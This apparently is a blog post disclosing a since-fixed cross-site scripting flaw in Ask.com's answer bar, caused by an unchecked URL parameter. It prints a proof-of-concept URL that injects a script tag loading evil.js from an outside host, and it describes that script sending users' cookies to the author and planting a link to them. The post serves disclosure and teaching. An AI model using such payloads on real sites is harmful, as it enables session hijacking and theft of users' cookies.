Last month, Ask.com introduced a new feature called the answer bar. It’s an annoying iframe that shows up when you click on most search results. The answer bar obscures the real URI in the address bar, and you have to accept cookies to disable it. But the purpose of this post isn’t to vent; it’s to explain how until today, the answer bar was vulnerable to cross-site scripting attacks.
Search result links look like this: (the answer bar now checks referrers so even copy-pasting won’t work)
http://www.ask.com/bar?q=ask&page;=1&qsrc;=0&zoom;=&ab;=0&u;=http://google.com
The URI param wasn’t checked. Any URI scheme was allowed, including javascript: and data:. JavaScript in the URI was run in ask.com’s security context. This link worked until very recently. Once I knew I could run arbitrary JavaScript, I wrote a proof of concept.
For a demonstration, I asked some coworkers to make sure they were logged in to Ask.com, then click here. TinyURL redirects to…
http://www.ask.com/bar?q=ask&page;=1&qsrc;=0&zoom;=&ab;=0&u;=javascript:document.write(%22%3Cscript%20src= \%22http://geoff.greer.fm/evil/evil.js?cachebuster=Math.random()\%22%3E%3C/script%3E%22);
…which downloaded and ran evil.js. Evil.js sent ask.com cookies to my site, then added an item to the user’s MyStuff saved results. The MyStuff item linked to everyone’s cookie info.
It’s a good thing Ask doesn’t have any useful features, otherwise this vulnerability would be newsworthy. Instead it’s just XSS practice for me and another security mistake by Ask. Ask deployed the answer bar on February 5th. E-mails were sent, tickets were filed, and it was fixed today, March 4th. Of course, that one bug is the tip of the iceberg. Thanks to Paul for pointing me to that site.
Edit: Image search still has this bug. Edit2: These links no longer work because Ask added HTTP referrer checks to image search.
This will show your ask.com cookies:
And this will demonstrate evil.js if you are logged in to MyStuff:
If there is one thing you should learn from this, it is: sanitize.